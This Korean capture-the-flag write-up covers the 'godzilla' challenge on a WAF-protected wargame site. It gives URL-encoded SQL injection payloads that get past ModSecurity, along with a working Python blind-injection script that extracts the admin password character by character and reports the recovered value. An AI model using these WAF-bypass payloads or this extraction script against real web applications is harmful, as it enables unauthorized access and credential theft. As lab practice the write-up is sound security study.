godzilla
이 문제는 첫 번째 쿼리 구조는 34. death 문제와 동일하다.
두 번째 쿼리만 id='admin' 조건이 붙은 점이 다르다.

일단 34. death 문제와 동일하게 우회 구문을 작성하면 “Hello admin” 값은 출력되는 걸 확인했다.
하지만 문제를 풀기 위해서는 id='admin' and pw='{$_GET[pw]' 에서 조회되는 행이 있어야 하고
조회된 행의 pw 파라미터 값과 사용자에게 입력받은 pw 파라미터의 값이 일치해야 한다.

개행문자 등을 사용해서 온몸 비틀기를 시전하면 pw 파라미터 값을 입력할 수 있게 되지만
$reuslt['pw'] == $_GET['pw'] 값을 만족해야 문제를 풀 수 있기 때문에 더 어려워질 것 같다.
(INFORMATION_SCHEMA.PROCESSLIST는 _ 문자 필터링 때문에 안 되고)
(QUINE QUERY는 입력 값이 매우 길어지기 때문에 WAF를 우회하는 데 곤욕을 치를 수도 있을 것 같다.)
(공격 페이로드) ?id=1%27%3C@=1%20||%20id=CHAR(97,100,109,105,110)%20AND%20%271%27%20OR%20pw=%271&pw=1
그렇다면 다시 처음으로 돌아와서 블라인드 SQL 인젝션 구문을 작성해보자.
id=admin AND LENGTH(pw)<{임의 값} 을 통해 “admin” 계정의 패스워드는 8바이트로 구성됨을 확인했다.
(공격 페이로드) ?id=1%27%3C@=1%20||%20(id=CHAR(97,100,109,105,110)%20AND%20LENGTH(pw)%3D8)%23
ORD(), SUBSTR() 함수도 사용할 수 있었기 때문에 아래와 같이 파이썬 코드 작성하여 패스워드를 추출했다.
import requests
t_url = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
payload = ''
r = requests.get(t_url + payload, cookies=cookie)
for i in range(1, 9):
low = 1
high = 200
while low <= high:
mid = (low + high) // 2
payload = ( f"?id=1%27%3C@=1%20||%20(id=CHAR(97,100,109,105,110)%20AND%20ORD(SUBSTR(pw,{i},1))%3E{mid})%23")
res = requests.get(t_url + payload, cookies=cookie)
if (res.text.find('Hello admin') > -1):
low = mid + 1
else:
high = mid - 1
if low > high:
print(f"low {low} / mid {mid} / high {high}")
decimal = high + 1 # 실제 문자코드 확정
password = password + chr(decimal)
numValue = numValue + str(decimal) + ' '
print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
break
'''실행 결과
[ . . . ]
Extracted admins password :
[+] 97 49 56 97 54 99 99 53
[+] a18a6cc5
'''“id, pw” 파라미터에 아이디/패스워드 입력해주면 갓질라라ㅏ 클리어 성공~!

🐛.. 🐛.. 🐛..